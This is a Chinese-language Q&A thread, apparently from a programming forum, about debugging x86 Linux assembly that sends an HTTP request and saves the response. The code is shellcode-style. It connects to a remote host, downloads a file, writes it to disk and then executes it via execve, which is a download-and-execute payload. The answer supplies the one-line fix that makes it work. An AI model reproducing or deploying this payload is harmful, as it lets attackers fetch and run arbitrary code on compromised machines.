Question

我一直在努力让这个汇编代码现在工作几个小时。我搜索过每一篇可以找到的文章。

.section .text
.global _start
_start:

            push $0x66
            popl %eax
            cdq
            pushl $0x1
            popl %ebx
            pushl %edx
            pushl %ebx
    pushl $0x2
            movl %esp, %ecx
            int $0x80

    popl %ebx
            popl %esi

    pushl $0xdeadbeef # replace with inet_addr() result

            movl $0xaffffffd, %ebp # ~(0080|AF_INET)
    not %ebp
    pushl %ebp

            incl %ebx
            pushl $0x10
            pushl %ecx
            pushl %eax
            movb $0x66, %al

    movl %esp, %ecx
            int $0x80

    popl %edi

_open_file:

    movb $0x8, %al
    pushl %edx
    pushl $0x41
    movl %esp, %ebx
    pushl %eax
    popl %ecx
    int $0x80

    xchg %eax, %esi
    xchg %ebx, %edi

_gen_http_request:

    #
    # < use gen_httpreq.c, to generate a HTTP GET request. >
    #

_gen_http_eof:

    movb $0x4, %al

_send_http_request:

    movl %esp, %ecx
    int $0x80

    cdq
    incl %edx

_wait_for_dbl_crlf:

    decl %ecx
    movb $0x3, %al
    int $0x80
    cmpl $0x0d0a0d0a, (%ecx)
    jne _wait_for_dbl_crlf

_pre_dump_loop:

    movb $0x4, %dl

_dump_loop_do_read:

    movb $0x3, %al
    clc

_dump_loop_do_write:

    int $0x80
    xchg %ebx, %esi
    jc _dump_loop_do_read
    test %eax, %eax
    jz _close_file
    movb $0x4, %al
    stc
    jmp _dump_loop_do_write

_close_file:

    movb $0x6, %al
    int $0x80

_execve_file:

    cdq
    movb $0xb, %al
    movl %edi, %ebx
    pushl %edx
    pushl %ebx
    jmp _send_http_request

我已使用gen_httpreq.c生成发送到服务器的HTTP请求。

我的问题似乎是套接字永远不会建立。我观察netstat输出，当我执行上面的代码时，我根本没有任何连接。我很好奇是否有特定的方法可以做到这一点。

另外，我尝试运行netcat并在另一个shell中侦听端口80只是为了看看netstat是否没有接收连接，但没有任何事情发生。

这是我的HTTP请求。

pushl $0x0d0a0d0a
pushl $0x2f312e30
pushl $0x48545450
pushl $0x696c6520
pushl $0x2f2f2f66
pushl $0x47455420

当我在strace下执行时，我得到：

execve("./ht", ["./ht"], [/* 19 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(8081), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
write(3, "", 0) = 0
read(3, 0xffc59c8c, 1) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)

它只是挂起，似乎什么都不做。

如果有另一种下载文件的方法，例如，发送HTTP请求，然后从该请求中读取输出。

基本上我会这样做： ./download > newfile

我无法找到关于此话题的任何其他内容，因为它非常简短。谢谢你的帮助！

Answer 1

我已经弄清楚问题是什么。当您使用该程序生成HTTP请求时，它会返回所有pushl，但不会返回最后的必要movb。

我添加了movb $ 0x14，％dl，它运行得很好

发送HTTP请求并接收输出。 x86 Linux程序集

1 个答案: